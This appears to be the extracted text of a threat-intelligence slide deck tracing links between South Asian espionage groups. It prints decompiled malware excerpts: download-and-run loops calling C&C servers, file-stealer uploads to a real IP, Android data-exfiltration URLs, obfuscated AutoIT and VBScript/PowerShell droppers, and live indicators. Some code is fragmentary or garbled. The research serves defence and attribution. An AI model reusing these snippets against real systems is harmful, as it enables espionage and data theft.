Linking cyberespionage groups targeting victims in South Asia

Daniel Lunghi
Jaromir Horejsi
Outline

- Overview of different threat actors
  - Patchwork
  - Confucius
  - Urpage
  - Hangover
  - Snake in the grass
  - EHDevel / Donot
- Connections between those groups
- Conclusion
Beginning of the investigation

- During our daily threat hunting routine, we discovered several delivery documents with untypical themes
- Lures to enable macros, downloads RAT
- Topics related to Bangladesh and Sri Lanka
Beginning of the investigation
Patchwork (2016)

- Disclosed by Cymmetria in 2016
- Operating since at least 2014
- Targets China, Pakistan, US, Bangladesh, Sri Lanka, Israel among others
- Uses spear phishing
Patchwork - Infection vectors

- Example of the website redirecting to a malicious document
Patchwork - Delivery documents

- CVE-2012-1856

RTF files, drop various decoy documents related to China

---

**Power and Order in the South China Sea**

By Dr. Patrick M. Cronin

Despite numerous calls for a more cooperative relationship, U.S.-China ties appear to be on an increasingly competitive trajectory.¹ Nowhere has this seemed more apparent than in the South China Sea, where rising tensions have been sowing concern throughout Southeast Asia about the durability of order in the Asia-Pacific region.²

A defining moment in deteriorating relations occurred at the July 2010 Association of Southeast Asian Nation (ASEAN) Foreign Ministers’ Meeting in Hanoi, when Secretary of State Hillary Clinton announced U.S. support for ensuring that territorial disputes were resolved amicably and fairly. “The United States,” Secretary Clinton explained, “has a national interest in freedom of navigation, open access to Asia’s maritime commons, and respect for international law in the South China Sea.”³ That prompted Chinese Foreign Minister Yang Jiechi to warn “outside powers” not to meddle, and then turn to Southeast Asian foreign ministers and declare: “China is a big country. And you are all small countries. And that is a fact.”⁴ U.S.-China relations have now become inseparable from the complex set of issues roiling the South China Sea. From the point
Patchwork - Delivery documents

- CVE-2014-4114
- CVE-2017-0199
Patchwork – Toolkit

- xRAT/QuasarRAT
- NdiskMonitor (custom .NET backdoor)
- Badnews (custom backdoor)
- .NET and AutoIT filestealers
- Delphi “Biodata” backdoor
- AndroRAT and “Bahamut” Android malware
Patchwork – Badnews backdoor

- Badnews backdoor
  - Hardcoded and encoded (sub 0x01) URL addresses with configuration
  - Links to legitimate services like Github, feed43, webrss, wordpress, weebly...

```
...j.u.d.s....uid=....&u= GetUserNam...%04x ....UNIC....?&=........i
uuqt;00sbx/hjuivctfsdpoufou/dpn0bmgsffeopcFmjOuftusp0ntuf50ynm/ynn...iuuq
;00ggf54/dpn06281594223137742/ynn...iuuq;00xx/xfcsst/dpn0dsfbufgffe/qig0gf
feje>5::53...iuuqt;00cfdiftcfbvuf/xpseqsftt/dpn6....o.p.e.n.....lfs0fM43/e
```

---

```
ADD

<table>
<thead>
<tr>
<th>Key</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hex</td>
<td>ff</td>
</tr>
</tbody>
</table>
```

```
https://raw.githubusercontent.com/alfreednobell/testro/master/xml.xml
https://bechesbeauthee.wordpress.com/
```
Patchwork – Badnews backdoor

- Badnews backdoor
  - Examples of encoded configuration on Github / Wordpress website
Patchwork – File stealers

- Taskhost stealer

private void RemoveResource(object sender, EventArgs e)
{
    this.Hide();
    this.ShowInTaskbar = false;
    this.windowID = Marshal.AllocHGlobal(this.windowID);
    this.CheckAction();
    this.RemoveResource("*.doc;*.xls;*.pdf;*.ppt;*.eml;*.msg;*.rtf");
}

POST http://209.58.185.35/secu`r.php?drive=C-%5BFixed%5D&student_name=
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 209.58.185.35
Content-Length: 9
Expect: 100-continue
Connection: Keep-Alive
C-[Fixed]

POST http://209.58.185.35/secu`r.php?drive=C-%5BFixed%5D/Program%20Files/Debugging%20Tools%20for
Content-Type: multipart/form-data; boundary=rv5rgkjt.0t3
Host: 209.58.185.35
Content-Length: 119648
Expect: 100-continue
--rv5rgkjt.0t3
Content-Disposition: form-data; name="file"; filename="kernel_debugging_tutorial.doc"
Content-Type: application/msword
Content-Type: application/msppt
Content-Type: application/pdf
Content-Type: text/txt
Content-Type: application/rtf
Content-Type: image/jpeg
Content-Type: application/zip
Content-Type: application/ipd
Content-Type: application/bbb
Content-Type: application/x-rar-compressed
Confucius (2016)

- Disclosed by Palo Alto Networks in 2016
- Operating since at least 2013
- Rapid7 disclosed the ByeByeShell backdoor in 2013
- Targets Pakistan, especially military sector
- Palo Alto Networks mentions links with Hangover
- Our research started following on from Patchwork research
Confucius – Infection vectors

- Mails containing links to weaponized documents
  - Inpage files exploiting CVE-2017-12824

- Waterholes: legitimate websites compromised to inject malicious code

- Fake websites built to incite victims to install malicious chat applications for Windows and Android

- Legitimate websites linking to malicious documents

- Human interactions to incite victims into installing malicious applications or click on malicious links
Confucius - Infection vectors – mails

Issued in Public Interest

It has been established through exhaustive survey that majority of families in Pakistan have limited knowledge base while addressing any unforeseen eventuality at family front which might include sudden demise of the sole bread earner. On directions of the Honourable Prime Minister of Pakistan, NADRA has now come out with an elaborate document which is proposed to be held with all the Citizens of Pakistan.

Download the document from the link below. Fill your details and hand over to Spouse.

Know your Rights

Disclaimer:

1. The information is solely for Citizens of Pakistan. If you are not a citizen or have changed your citizenship, you are advised to unsubscribe.

2. The document is confidential and may be legally privileged. It is solely intended for use of named recipient(s). If you are not the named addressee, you should not disseminate, distribute or copy this e-mail.

CPEC marks the beginning of Chinese Inclusion in Pakistan

National Identity Card for Pakistani citizens held with a Chinese man marks the beginning of Chinese expanse. Many consider it morally wrong when Pakistan has yet to allow identity cards to Muslim refugees from Afghanistan, while some term it "The aftereffect of CPEC".

Despite China being Pakistan's all-weather friend, noted Defence Analyst and Economist Ahmad Faruqui has all the reason to look at it with suspicion. Top economists of the likes of Abd-ul-Wahab, regard CPEC as benefiting only China.

Pakistan looks at China as its Military Ally and an economic benefactor. It has now begun to even forge cultural ties with China. However, according to a Pew Research, 82% Pakistanis hold an unfavourable view in this regard.

Learn More ...

If you no longer wish to receive mail from us, you can Unsubscribe
NADRA Pakistan, National Database Organisation, Ministry of Interior, Islamabad, 638944, Pakistan

If you no longer wish to receive mail from us, you can Unsubscribe mailer@dawn-news.live
45.76.33.53 is related to a malware named “remote-access-c3” and developed by the Confucius group.
Confucius - Infection vectors – fake websites
Confucius - Infection vectors – fake websites
Confucius - Infection vectors – malicious links

• Legitimate website containing a malicious link

#JusticeforZainab #Justice4Zainab

5,639 have signed. Let’s get to 7,500!

First name
Last name
Email

Display my name and comment on this petition

Sign this petition

By signing, you accept Change.org Terms of Service and Privacy Policy, and agree to receive occasional emails about campaigns on Change.org. You can unsubscribe at any time.

PETITION UPDATE

COAS & Chief Justice: Agreed to OUR Request -- Thank You ALL

Zainab Justice
Lahore, Pakistan

30 JAN 2018 — As one LAST Step Please Fill an Form BELOW and mail back a SIGNED Copy to give to COAS and CJ Pakistan. Thank You VERY MUCH -- ALL --- WE DID IT

http://justice4zainab.ddns.net/
Confucius - Infection vectors – malicious links

- The malicious link redirects to Document.docx

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Document.docx</td>
<td>2018-01-30 06:50</td>
<td>11K</td>
<td></td>
</tr>
<tr>
<td>Document1.docx</td>
<td>2018-01-29 01:19</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>normal.docx</td>
<td>2017-12-25 06:04</td>
<td>12K</td>
<td></td>
</tr>
<tr>
<td>test.txt</td>
<td>2018-01-03 21:29</td>
<td>22</td>
<td></td>
</tr>
</tbody>
</table>

Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.0 Server at justice4zainab.ddns.net Port 80
Confucius - Infection vectors – social network profiles

Pakistan Defence
@defencedotpk
Follow Pakistan’s largest community forum | Civil - Military - Foreign Affairs - Debates - OpEds - NATSEC - Industry | EST-2005 | RT ≠ Endorsement |

ISPR Official
@ISPRofficial10
(ISPR)

Change.org
@Change
200,000,000 people making a better world

Maj Gen Asif Ghafoor
@OfficialDGISPR
The official spokesperson of Pakistan Armed Forces. Personal account is @peaceforchange

HILAL - The Pakistan Armed Forces' Magazine
11,526 likes
Magazine
Confucius – Toolkit

- SFX archive with decoy document and malicious executable
- ByeByeShell (custom backdoor)
- Remote-access-c3 (custom C++ backdoor)
- Delphi “BioData” backdoor
- C++, Delphi and Python filestealers
- File exfiltration via multiple cloud service providers
- Mobile malware (Android, available on Google Play and Amazon App Store)
Confucius - Backdoors, RATs

- **ByeByeShell**
  - Shell, comd, sleep, quit, kill
  - Comd:
    - put, EXIT, dup, exe, fget, fput, getproc, listdir, copyfile, exec
  - Smurf! Control script in .php

```php
memset(&$szRecvBuffer, 0, 0x100u);
dwConnectionStatus = recv(socket, &szRecvBuffer, 255, 0);
if ( dwConnectionStatus == -1 )
goto LABEL_77;
if ( _stricmp(&szRecvBuffer, "shell\n") )
  run_cmd_command((void *)socket);
if ( _stricmp(&szRecvBuffer, "comd\n") && send_recv_file_ex(socket) )
goto LABEL_77;
if ( _stricmp(&szRecvBuffer, "sleep\n") )
{
  dwMilliSeconds = 1000000;
dwConnectionStatus = send(socket, "BYE BYE", 7, 0);
goto LABEL_77;
}
if ( _stricmp(&szRecvBuffer, "quit\n") )
goto LABEL_77;
if ( _stricmp(&szRecvBuffer, "kill\n") )
brk;
```
Confucius - File stealers

- Swissknife

  - Written in Python, compiled to .EXE file
  - access token in decompiled code -> allowed us to write script
    enumerating all folders (victims) and all files (even the deleted ones)
  - .pdf, .doc, .docx, .ppt, .pptx, .xls, and .xlsx

```python
KEN = 'LTY2137h8891w4689871w1t1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1w1
Confucius - File stealers

- Swissknife
  - Enumerating of the deleted folders and files
Confucius - File stealers

- Swissknife
  - Enumerating of the deleted folders and files
Confucius - Malicious Android applications

- Secret Chat Point
  - Google Play (October 14th, 2017)
  - Third party market places
  - File stealing capabilities

```java
public static final String UPLOAD_ACCOUNTS = "http://simplechatpoint.ddns.net/android_connect-insert_account.php";
public static final String UPLOAD_BASE_URL = "http://simplechatpoint.ddns.net/android_connect";
public static final String UPLOAD_CONTACTS = "http://simplechatpoint.ddns.net/android_connect-insert_contacts.php";
public static final String UPLOAD_FILE_CONTENT = "http://simplechatpoint.ddns.net/android_connect/upload_file_content.php";
public static final String UPLOAD_FILE_LIST = "http://simplechatpoint.ddns.net/android_connect-insert_file_list.php";
public static final String UPLOAD_SMS = "http://simplechatpoint.ddns.net/android_connect-insert_sms.php";
```
Confucius - Malicious Android applications

- Tweety Chat (mobile)
  - Google Play
    - Several times published & taken down
  - Amazon app store
    - Several times published & taken down
  - Third party app stores
  - Second version added features:
    - Audio recording
    - Stolen content uploaded to AWS

```java
public class DataUploader {
    private static final String TARGET_PATTERN = "txt|doc|docx|xls|xlsx|ppt|pptx|pdf|jpg|jpeg";
    Context context;
    List<FailedFileMap> failedFileMapList = new ArrayList();
    String filename_accounts = "accounts.csv";
    String filename_contacts = "contacts.csv";
    String filename_parameters_downloaded = "parameters_downloaded.txt";
    String filename_parametersUploaded = "parametersUploaded.txt";
    String filename_sms = "sms.csv";
    private String imei;
```
Urpage (2016)

- Disclosed by Kaspersky in 2016, operating since at least 2013
- TrendMicro named the group in 2018 as it had expanded its toolkit
- Targets middle eastern and Muslim countries such as Pakistan
- Spear phishing mails with weaponized documents targeting Office and InPage software
- Use SFX archives
Urpage – Infection vectors

Office of the Spokesperson

Press Release

PM Chairs High-level meeting on Yemen situation
Urpage – Toolkit

- SFX archive with decoy document and malicious executable
- Custom VB backdoor
- Delphi “BioData” backdoor and filestealer
- Android malware of the “Bahamut” family
- Malicious IOS applications (found by Talos)
Hangover (2013)

- Disclosed by Norman in 2013, operated since at least September 2010
- Attacks against national interests private sector industrial espionage (telecommunications, law, food & restaurants, manufacturing)
- Hacked Telenor, a Norwegian telecommunications operator
- Targeted a dozen countries, among which Pakistan, Iran, United States, China
- Multiple reports attributed this group to an Indian company named AppIn security, which was closed in 2014
Hangover – Infection vectors

- Spear phishing with weaponized documents exploiting CVE-2012-0158 or with SFX archives
- Weaponized RTF files with old vulnerabilities
- Websites containing:
  - Internet Explorer exploits (CVE-2012-4792)
  - Java exploits (CVE-2012-0422)
- Used one 0-day vulnerability in MS Office (CVE-2013-3906)
Hangover – Toolkit

- SFX archives with decoy document and malicious executable
- Malwares written in Delphi, Visual Basic
- Filestealers, keyloggers
- AutoIT scripts (backdoors and filestealers)
- Bad opsec – open directories
Snake in the grass (2014)

- Disclosed by Blue Coat in 2014, related to Operation Hangover
- Operating at least since 2013
- Targets Pakistani military sector
- Keyloggers and filestealers in Python, compiled with PyInstaller, AutoIT backdoors, Weaponized RTF files and SFX archives

- Disclosed by BitDefender in 2017, operating since at least 2016
- Arbor Networks disclosed the Donot campaign in 2018
- Targets multiple countries, mainly Pakistan and US
- Links with Hangover as well as Snake in the Grass
- SFX archives and custom backdoors, filestealers and keyloggers written in C and Python, probably sent through spear phishing
Outline

- Overview of different threat actors
  - Hangover
  - Snake in the grass
  - Patchwork
  - Confucius
  - Urpage
  - EHDevel/Donot

- Connections between those groups
- Conclusion
Hangover AutoIT script

72e2cf9eb8ba94f51cdb209249bc9085fb99469fc3243961038027e082382e8
AutoIT – Snake in the Grass

```autoit
$a = _cvxm()
If NOT $a = "" Then Exit
HttpSetUserAgent(_base64decode("TW9saWxzYWJsLjAgRFdpbmRvd3MgT1QgNS4xOy8ydjoxNi4wK3BHZWNzby8yMDEwMDEwM3B3aXJlZm94La2LiJAw="))
Global $updmedia = _base64decode("QzpcTVxQ2FjGzVc2luuGic=")
Global $vrvdir = _base64decode("QzpcTVxQ2FjGzVc=")
Global $updsrc = _base64decode("b251c3RvOClzOG5wcy5jb20==")
Global $imserv = "30"
Global $vrvmedia = _base64decode("YzAxMDA4L2dlG1hcC5wHA=")
Global $lamp = _ComputerName
Global $vars = _base64decode("c3lzbnFtZT0=") & $imserv
Global $var1 = $vrvmedia & ":?" & _httpencodestring($vars)
Global $getfees = _base64decode("aHR0cDovL29uZ2hvbGxvcmV0c3Nlbi5wY2F0YWJsZS50aWFzc2VhcmF0b24uZ29vZ2luY2F0YWJsZS5wYXJjaXR0aG9yZw==") & $vrvmedia
Global $sp1file = _base64decode("dHR0cDovL29uZ2hvbGxvcmV0c3Nlbi5wY2F0YWJsZS50aWFzc2VhcmF0b24uZ29vZ2luY2F0YWJsZS5wYXJjaXR0aG9yZw==") & $vrvmedia
Global $keyrd = _base64decode("3JeFVjVvJ3RU5U1xVTWV3U09VFDcBkVcTw1jcm9zb2Z0IDIgRjdpbmRvd3NlcnV0b3UnYyVcTw1ci5zc2NvcmV0cy50aWFzc2VhcmF0b24uZ29vZ2luY2F0YWJsZS5wYXJjaXR0aG9yZw==")
Global $vrvbits = _base64decode("dHR0cDovL29uZ2hvbGxvcmV0c3Nlbi5wY2F0YWJsZS50aWFzc2VhcmF0b24uZ29vZ2luY2F0YWJsZS5wYXJjaXR0aG9yZw==")
Rewrite($keyrd, "DemoEx", _base64decode("V0FQX1Na", @ScriptFullPath)
DirCreate($vrvdir)
DirCreate($vrvmedia)
readhttp($getfees)
While 1
  _uploadpath()
  Sleep(9000)
  readhttp($sp1file)
  Sleep(9000)
WEnd
```

Snake In the Grass AutoIT script

ed026685697d34152f153a09787fda9fee01a1c6ca434121446ee0bf2e520620
Connections

Hangover

Snake in the Grass
Snake in the Grass - EHDevel

```python
key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Microsoft\Windows\C\winreg.SetValueEx(key, 'browse', 0, _winreg.REG_SZ, 'C:\\Bootfile\\wsutils.exe')
key.Close()

if not os.path.exists('C:\Bootfile\log.txt'):
    for drv in az:
        for root, dirs, files in os.walk(drv):
            skipdir = [
                'Bootfile', 'Program Files', 'Program Data', 'Program Files (x86)', 'WINDOWS'
            ]
            if folder.find(skipdir[0]) != -1 or folder.find(skipdir[1]) != -1:
                f1 = open(fullpath, 'rb')
                f2 = open('C:\Bootfile\log.txt', 'ab')
                f.write(fullpath + '\n')
                f2.close()
                f1.close()
```

Snake in the Grass Python filestealer

73acf81d65e59ce238db85b2e3ab8ce3bb9623aee426e6f4c1afea421f05797d
Snake in the Grass - EHDevel

```python
#key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER , 'Software'
#_winreg.SetValueEx(key , 'browse', 0, _winreg.REG_SZ, pathreg)

#key.Close()

skipdir = ['Program Files', 'Program Data', 'Program Files (x86)', 'WINDOWS'
          ]

if folder.find(skipdir[0]) <> -1 or folder.find(skipdir[1]) <> -1
    dirlen = len(dirfiles)
    if (os.path.splitext(fullpath)[1] == '.doc') or (os.path.splitext(fullpath)[1] == '.xls')
        folder = folder1[0]
        print fullpath
        if folder.find(skipdir[0]) <> -1 or folder.find(skipdir[1]) <> -1 or folder.find(skipdir[2]) <> -1 or folder.find(skipdir[3]) <> -1 or
        #print fullpath
        break

if (os.path.splitext(fullpath)[1] == '.doc') or (os.path.splitext(fullpath)[1] == '.xls') or (os.path.splitext(fullpath)[1] == '.ppt') or (os.path.splitext
#fullpath.replace('\\./\.,%7,<,%7,%.5"","')

EHDevel python filestealer

780314d845306e691705e06c9fbc23d1cc919d339025834d152e0010e1d88264
Hangover – Snake in the Grass - EHDevel

Hangover AutoIT script

bb48dfdef6dbca5b48442903bfddf53de83b5717da3e33ecab2e1336006e5ed6
def dex(cname):
    
    
    
    
    dfilename = dfilename.split('::')
    data7len = len(dfilename)
    if data7len <> 0:
        for dfilename in dfilename:
            try:
                f5 = urlopen("http://"+ getserver + foldername+ "//online.php?sysname="+ dfilename)
                output1=open(dir2+"%s"%dfilename,'wb')
                output1.write(f5.read())
                output1.close()
                dfilename = dir2+dfilename
                runfile(dfilename)
            except:
                continue
        pass

Snake in the Grass Python executable

66c6975e45b19d86634727b95a8baa18b4523b3cf9996d7d3ae39ff57f805741
def dnd(na,hname,dir2):
    if na == 1:
        files = urlopen('https://'+getserver()+'/fetchnew03.php',context=ctx).read()
        file10 = glob(dir2+""""x"")
        for f in files.split(';;'):
            try:
                if not (dir2+f in file10) or (f.find('.txt') <> -1):
                    files1 = urlopen('https://'+getserver()+'/browsernew03/%s%f',context=ctx).read()
                    rfile = dir2+f
                    f = open(rfile,"wb")
                    f.write(files1)
                    f.close()
                    sleep(10)
                    p = check_call([rfile], shell = True)
            except:
                continue

EHDevel python executable
dbcc4c05a350f44904d95e0a4f975008892bc8f599f6a14267771d28d6de0057
Connections

Hangover

Snake in the Grass

EHDevel
Hangover – Patchwork

- Uses the same technique for encoding C&C addresses
  - Hardcoded and encoded (sub 0x01) URL addresses with configuration

```
e %s to web server..a+......Failed to upload file %s.....]Tufssl/mph.\nts.txt....
r...;%d out of %d uploaded...Esbl2/qi
q...xfbsxfmmhbsnfout/fv.EMSFRTCBVD..F39D
45E70395ABFB8D8D2BFFC8BBD152....Excep wh
```

```
ADD

<table>
<thead>
<tr>
<th>Key</th>
<th>HEX</th>
</tr>
</thead>
<tbody>
<tr>
<td>ff</td>
<td></td>
</tr>
</tbody>
</table>

Output
wearwellgarments.eu
Hangover – Patchwork

- Badnews backdoor
  - Hardcoded and encoded (sub 0x01) URL addresses with configuration
  - Links to legitimate services like Github, feed43, webrss, wordpress, weebly...

```plaintext
https://raw.githubusercontent.com/alfred Nobelli/bestro/master/xml.xml
http://feed43.com/517043112626631.xml
https://bechesbeautee.wordpress.com/
```
Hangover – Patchwork

- Some Hangover and Patchwork domain names were linked to the same mail address: munna.bhai124@gmail.com
  - In WHOIS records
  - In DNS SOA records

<table>
<thead>
<tr>
<th>C&amp;C 域名</th>
<th>SOA RNAME</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>revoltmax.com</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>178.162.210.245</td>
</tr>
<tr>
<td>blingblingg.com</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>178.162.210.246</td>
</tr>
<tr>
<td>eyescreem.com</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>95.211.205.166</td>
</tr>
<tr>
<td>outlookkz.com</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>95.211.205.164</td>
</tr>
<tr>
<td>dailychina.news</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>178.162.210.247</td>
</tr>
<tr>
<td>asiandefnetwork.com</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>178.162.210.248</td>
</tr>
<tr>
<td>xbladezz.com</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>178.162.210.243</td>
</tr>
<tr>
<td>xmachinez.com</td>
<td><a href="mailto:munna.bhai124@gmail.com">munna.bhai124@gmail.com</a></td>
<td>178.162.210.242</td>
</tr>
<tr>
<td></td>
<td></td>
<td>46.165.229.9</td>
</tr>
</tbody>
</table>

Source: ISC 2016, Qihoo 360 “Helios Team”
Connections

- Hangover
- Snake in the Grass
- EHDevel
- Patchwork
**Patchwork – Confucius**

- **NDiskMonitor (Patchwork)**
  - Custom .NET backdoor
  - Commands:
    - cme-update – exec command
    - dv – list logical drives
    - rr – list files and directories
    - ue – download & execute
Patchwork – Confucius

- NDiskMonitor (Patchwork)
  - Custom .NET backdoor
  - Commands:
    - cme-update – exec command
    - dv – list logical drives
    - rr – list files and directories
    - ue – download & execute
Patchwork – Confucius

- remote-access-c3 (Confucius)
  - Inspired by Patchwork’s NDiskMonitor
  - The same behavior, strings, backdoor commands
  - Written in C++, uses STL library

```cpp
v1 = std::char_traits<char>::
if ( str_find(&Buf, "cme-up")
{ 
  string_op2(&ProcessInform
  LOBYTE(v133) = 5;
  std::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<char, std::char_traits<char>, std::allocator<char>>((
    (int)v122,
    "cmd /c echo \"");
  LOBYTE(v133) = 6;

v46 = std::char_traits<char>::
if ( str_find(&Buf, "ue") , (int
{ 
  string_op2(&v117, (int)&Buf, 124);
  LOBYTE(v133) = 36;
  get_random_string(&v123);
  LOBYTE(v133) = 37;
  v47 = std::char_traits<char>::length(".exe");
  std::basic_string<char, std::char_traits<char>, std::allocator<char>>::append(".exe", v47);
  /* rest of the code */
```

TREND MICRO
Patchwork – Confucius

```
lea   edx,[ebp-1C]
mov   eax,458F4E4;'odsf'
call  copy_string
lea   eax,[ebp-1C]
push  eax
lea   edx,[ebp-20]
mov   eax,458F4E4;'qdso'
call  copy_string
mov   edx,dword ptr [ebp-20]
lea   edx,[ebp-1C]
push  eax
call  GLStrCat
mov   eax,dword ptr [ebp-1C]
lea   edx,[ebp-8]
call  copy_string
mov   al,[458F4E4];0x1_guar_00458F4C
push  eax
lea   eax,[ebp-0C]
push  eax
lea   ecx,ecx
mov   edx,458F4E4;''
call  StringReplace
mov   edx,dword ptr [ebp-8]
call  GLStrLen
cmp   eax,8
jge   004588C7
mov   ecx,4C
mov   edx,458A14;'C:\news\Backup\Unit1.pas'
mov   eax,458A34;'err'
call  GmAssert
mov   eax,dword ptr [ebp-0C]
call  GLStrLen
mov   edx,20
call  Min
lea   edx,[ebp-1C]
mov   eax,472E08;'jivb'
call  copy_string
lea   eax,[ebp-1C]
push  eax
lea   edx,[ebp-20]
mov   eax,472E08;'nnzr'
call  copy_string
mov   edx,dword ptr [ebp-20]
lea   edx,[ebp-1C]
push  eax
call  GLStrCat
mov   eax,dword ptr [ebp-1C]
lea   edx,[ebp-8]
call  copy_string
mov   al,[472E08];0x1_guar_00472E08
push  eax
lea   eax,[ebp-0C]
push  eax
xor   ecx,ecx
mov   edx,472E54;''
call  StringReplace
mov   eax,dword ptr [ebp-8]
call  GLStrLen
cmp   eax,8
jge   00472013
mov   ecx,31C
mov   edx,472E08;'C:\news\Unit1.pas'
mov   eax,472E08;'err'
call  GmAssert
mov   eax,dword ptr [ebp-0C]
call  GLStrLen
mov   edx,20
call  Min
```
Connections

- Hangover
  - Snake in the Grass
  - EHDevel
- Patchwork
- Confucius
Confucius – Urpage

- Malicious InPage documents exploiting CVE-2017-12824
Confucius – Urpage

- Sample 1

Drops

Filename: SAMPLE.INP

Drops

Filename: winopen.exe

Connects

Confucius C&C
Confucius – Urpage

- Sample 2

- Drops

- Filename: SAMPLE.INP

- Drops

- Filename: winopen.exe

- Connects

- Urpage C&C
Confucius – Urpage

- Same vulnerability exploited

- Dropped files have similar names

⟹ Both groups probably use the same non-public builder
Connections

Snake in the Grass

Hangover

Urpage

Patchwork

EHDevel

Confucius
Urpage – EHDepsilon

- **SFX archive** 5bebe3986c2dc5f505a5d34c564c24a3b0c132e648f1d009757a0d69c87e52

![Diagram showing the flow of SFX archive extracts to BioData backdoor and Py2exe malware, which then connects to Urpage C&C and EHDepsilon code structure.](image-url)
## Index of /Normal

<table>
<thead>
<tr>
<th>Name</th>
<th>Last_modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SVA.doc</td>
<td>2018-07-30 20:58</td>
<td>13M</td>
<td></td>
</tr>
<tr>
<td>SampleApplication.exe</td>
<td>2006-04-25 08:33</td>
<td>20K</td>
<td></td>
</tr>
<tr>
<td>Setup.exe</td>
<td>2018-08-07 06:35</td>
<td>584K</td>
<td></td>
</tr>
<tr>
<td>pieupdate.docx</td>
<td>2018-08-07 10:23</td>
<td>14K</td>
<td></td>
</tr>
</tbody>
</table>

Apache/2.4.18 (Ubuntu) Server at pieupdate.online Port 443

Confucius domain name

Donot framework (Donot)
Confucius – Urpage – Donot

- Three different RTF files exploiting different vulnerabilities to drop a similar uncommon downloader

```<script language="VBScript">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 : Set Office = CreateObject( "WScript.Shell" ) : Set fin = CreateObject("Script") If fin.FileExists("c:\windows\system32\drivers\avgdisk.sys") Then
    appData = Office.expandEnvironmentStrings("%tmp%") & "\word.exe" : Office.run "cmd=\\d.\\e\"x\\"+ /c Po=\\w\\+er\\+u\\+ll -Win=\\dow\\+\"Sty\\+\"le \\
Else
    appData = Office.expandEnvironmentStrings("%tmp%") & "\word.exe" : Office.run "Po=\\w\\+er\\+u\\+ll -Win=\\dow\\+\"Sty\\+\"le Hid=\\den\\+ta\\+\\+sk\\+\\+k1\\+\\+1
End If
self.close</script>
```

